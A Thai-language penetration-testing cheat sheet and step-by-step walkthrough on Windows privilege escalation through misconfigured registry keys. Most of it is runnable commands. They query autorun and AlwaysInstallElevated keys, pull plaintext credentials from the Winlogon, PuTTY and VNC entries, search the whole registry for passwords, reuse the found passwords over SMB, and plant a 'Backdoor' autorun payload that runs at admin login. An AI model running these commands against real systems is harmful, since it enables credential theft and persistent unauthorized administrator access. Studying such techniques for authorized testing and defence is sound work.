Registry Privesc

1. หลักการ

Windows registry เก็บ config ระบบจำนวนมาก หลาย key ถ้าตั้ง permission ผิดหรือมีค่าที่ตั้งผิด นำไป privesc ได้: autorun ที่รันตอน login (ของ admin), AlwaysInstallElevated (ติดตั้ง MSI เป็น SYSTEM), service registry, และ credential ที่ถูกเก็บเป็น plaintext

2. Autorun ที่เขียนได้

# ดู autorun (รันตอน boot/login)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# ตรวจ permission ของ key/binary ที่ autorun เรียก
accesschk.exe -wvu "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
# ถ้าเขียน key ได้ หรือเขียน binary ที่ autorun เรียกได้:

# แทนที่ด้วย payload → รอ admin login → รันด้วยสิทธิ์ admin
reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe"
# หรือเขียนทับ binary ที่ autorun ชี้ไป (ถ้า binary เขียนได้)

3. AlwaysInstallElevated (ดูหัวข้อแยกด้วย)

# ตรวจทั้งสอง key (ต้องเป็น 1 ทั้งคู่)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ถ้า = 0x1 ทั้งคู่ → ติดตั้ง MSI เป็น SYSTEM ได้
# → สร้าง malicious MSI แล้ว msiexec (ดูหัวข้อ AlwaysInstallElevated)

4. Credential ใน registry

# autologon credential (มัก plaintext!)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# ดู DefaultUserName / DefaultPassword

# VNC, PuTTY, SNMP, อื่นๆ ที่เก็บใน registry
reg query HKCU\Software\SimonTatham\PuTTY\Sessions   # PuTTY
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password # VNC

# ค้น password ทั่ว registry
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /s

# WinPEAS/Seatbelt หา credential เหล่านี้อัตโนมัติ

5. Quick Reference

• registry ตั้งผิด → privesc หลายทาง
• autorun: reg query ...\Run; เขียน key/binary ได้ + admin login
• AlwaysInstallElevated: ทั้ง HKCU+HKLM = 1 → MSI เป็น SYSTEM
• credential: Winlogon DefaultPassword, PuTTY/VNC, reg query /f password /s
• ตรวจ permission: accesschk -wvu key
• WinPEAS/Seatbelt หาอัตโนมัติ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enum เจอว่า registry อาจตั้งค่าผิด มีแค่ Kali ทำตามนี้ทีละขั้น

1. 1รัน winPEAS ก่อน: .\wp.exe quiet cmd fast ดูหมวด Registry ว่ามีแดงพื้นเหลืองไหม
2. 2ถ้าไม่ชัด เช็ค AlwaysInstallElevated เอง: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated และ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
3. 3ถ้าทั้งคู่เป็น 0x1 ให้ไปทำ MSI exploit ทันที (ดูหัวข้อ AlwaysInstallElevated) ข้ามขั้นที่เหลือ
4. 4ถ้าไม่ใช่ เช็ค autorun: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run แล้วดูว่า binary ที่ชี้ไปเขียนได้ไหมด้วย icacls "C:\path\to\binary.exe"
5. 5เช็ค credential ที่แอบเก็บไว้: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ดู DefaultUserName/DefaultPassword
6. 6ค้นแบบกว้างทั่ว registry: reg query HKLM /f password /t REG_SZ /s และ reg query HKCU /f password /t REG_SZ /s
7. 7ถ้าเจอ password ให้เอาไปลองล็อกอินซ้ำด้วย nxc smb -u user -p password
8. 8ถ้าเจอ autorun key ที่เขียนได้ ให้แทนด้วย payload: reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe" แล้วรอ admin login
9. 9ถ้าไม่มีอะไรใน registry เลย ให้ไปเช็ค services/scheduled tasks/token ต่อ